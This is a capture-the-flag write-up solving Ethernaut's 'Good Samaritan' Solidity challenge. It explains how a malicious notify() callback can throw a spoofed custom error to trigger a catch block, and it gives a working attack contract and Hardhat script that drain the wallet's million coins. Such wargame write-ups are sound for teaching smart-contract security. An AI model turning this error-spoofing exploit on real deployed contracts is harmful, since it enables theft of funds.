Ethernaut Solutions: 27-Good Samaritan

Here we have a “Good Samaritan” contract that holds 10^6 “Coins” in a “Wallet”. Any account can call Good Samaritan’s requestDonation() function to receive 10 coins. The challenge is to somehow siphon off of 1 million coins in a single attempt using Wallet’s transferRemainder() function.

As I was reading through the code, the first thing that struck out was the external call inside Coin’s transfer() function:

INotifyable(dest_).notify(amount_);

External function calls always have a potential of causing trouble and I had a strong feeling this is going to play an important role in the solution. The second major clue is provided in the challenge description: Solidity Custom Errors. Long story short, Solidity’s try/catch block receives a function selector inside the catch() when triggered by an error condition. The requestDonation() function contains a call to wallet.transferRemainder() inside its catch block. If we can somehow force our way inside the catch block, we might have a chance to steal all the coins from the Good Samaritan contract.

function requestDonation() external returns(bool enoughBalance){
        // donate 10 coins to requester
        try wallet.donate10(msg.sender) {
            return true;
        } catch (bytes memory err) {
            if (keccak256(abi.encodeWithSignature("NotEnoughBalance()")) == keccak256(err)) {
                // send the coins left
                wallet.transferRemainder(msg.sender);
                return false;
            }
        }
    }

The way to get inside catch() will be to throw an exception from inside wallet.donate10() function. donate10() calls coin.transfer() which in turn calls the notify() on the external account (dest_). Our goal is to have a malicious contract containing notify() as this external account. Now, what should we have inside this notify()? If we see inside requestDonation() it contains a check to make sure that “err” has the same function selector as NotEnoughBalance() which is a custom error. At this point it occurred to me, what if I can return NotEnoughBalance() from an external contract? So I wrote an Attack contract that throws a NotEnoughBalance() from inside a notify() function. However, I also had to add a check for (amount == 10) as this method gets called twice: once when amount = 10 and next time when amount = 10^6. We want to make sure Attack.notify() only reverts the first time (amount = 10) and simply returns on the second time (amount = 1000000). This seemed to do the trick and our attack contract was able to steal all the coins.

// Attack.sol
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0;

import "hardhat/console.sol";

contract Attack
{
    error NotEnoughBalance();
    
    address public goodSamaritan;

    constructor (address _goodSamaritan)
    {
        goodSamaritan = _goodSamaritan;
    }

    function hack() public
    {
        goodSamaritan.call(abi.encodeWithSignature("requestDonation()"));
    }
    
    function notify(uint256 amount) external
    {
        if(amount == 10)
        {
            revert NotEnoughBalance();
        }
    }
}
// Solution.js
const { expect } = require("chai");
const { Wallet } = require("ethers");
const { ethers, network } = require("hardhat");

describe("GoodSamaritan.sol", () => {

    describe("Test run", () => {
        it("should run fine", async() => {
            
            // This is the address Ethernaut's console provided
            const goodSamaritanAddress = "0xCad7FC218F2f39cDbc94924a549f7bb969A49D4f";

            // Get the hacker's address
            const [owner, hacker] = await ethers.getSigners();

            // Lets read slot 0 of GoodSamaritan to find the address of Wallet contract
            var walletAddress = await ethers.provider.getStorageAt(goodSamaritanAddress, 0)
            walletAddress = ethers.utils.hexStripZeros(walletAddress)
            console.log("Wallet's address: ", walletAddress)
            
            // Lets read slot 1 of GoodSamaritan to find the address of Coin contract
            var coinAddress = await ethers.provider.getStorageAt(goodSamaritanAddress, 1)
            coinAddress = ethers.utils.hexStripZeros(coinAddress)
            console.log("Coin's address: ", coinAddress)
            
            // Read Wallet's balance before the hack
            const coinContract = await ethers.getContractFactory("Coin")
            var balance = await coinContract.connect(hacker).attach(coinAddress).balances(walletAddress)
            console.log("Wallet's balance is: ", balance)

            // Deploy our Attack contract
            const attackContract = await ethers.getContractFactory("Attack")
            const attack = await attackContract.connect(hacker).deploy(goodSamaritanAddress)
            await attack.deployed()
            console.log("Attack contract address: ", attack.address)

            // Launch the attack, provide a lot of gas
            await attack.connect(hacker).hack({gasLimit: 5000000});

            // Lets read wallet's balance again after attack
            balance = await coinContract.connect(hacker).attach(coinAddress).balances(walletAddress)
            console.log("Wallet's balance is: ", balance)

            // And let's read Attacker's balance after attack
            balance = await coinContract.connect(hacker).attach(coinAddress).balances(attack.address)
            console.log("Attackers's balance is: ", balance)
        });
    });
});
// GoodSamaritan.sol
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0;

import "@openzeppelin/contracts/utils/Address.sol";

contract GoodSamaritan {
    Wallet public wallet;
    Coin public coin;

    constructor() {
        wallet = new Wallet();
        coin = new Coin(address(wallet));

        wallet.setCoin(coin);
    }

    function requestDonation() external returns(bool enoughBalance){
        // donate 10 coins to requester
        try wallet.donate10(msg.sender) {
            return true;
        } catch (bytes memory err) {
            if (keccak256(abi.encodeWithSignature("NotEnoughBalance()")) == keccak256(err)) {
                // send the coins left
                wallet.transferRemainder(msg.sender);
                return false;
            }
        }
    }
}

contract Coin {
    using Address for address;

    mapping(address => uint256) public balances;

    error InsufficientBalance(uint256 current, uint256 required);

    constructor(address wallet_) {
        // one million coins for Good Samaritan initially
        balances[wallet_] = 10**6;
    }

    function transfer(address dest_, uint256 amount_) external {
        uint256 currentBalance = balances[msg.sender];

        // transfer only occurs if balance is enough
        if(amount_ <= currentBalance) {
            balances[msg.sender] -= amount_;
            balances[dest_] += amount_;

            if(dest_.isContract()) {
                // notify contract 
                INotifyable(dest_).notify(amount_);
            }
        } else {
            revert InsufficientBalance(currentBalance, amount_);
        }
    }
}

contract Wallet {
    // The owner of the wallet instance
    address public owner;

    Coin public coin;

    error OnlyOwner();
    error NotEnoughBalance();

    modifier onlyOwner() {
        if(msg.sender != owner) {
            revert OnlyOwner();
        }
        _;
    }

    constructor() {
        owner = msg.sender;
    }

    function donate10(address dest_) external onlyOwner {
        // check balance left
        if (coin.balances(address(this)) < 10) {
            revert NotEnoughBalance();
        } else {
            // donate 10 coins
            coin.transfer(dest_, 10);
        }
    }

    function transferRemainder(address dest_) external onlyOwner {
        // transfer balance left
        coin.transfer(dest_, coin.balances(address(this)));
    }

    function setCoin(Coin coin_) external onlyOwner {
        coin = coin_;
    }
}

interface INotifyable {
    function notify(uint256 amount) external;
}

Leave a Comment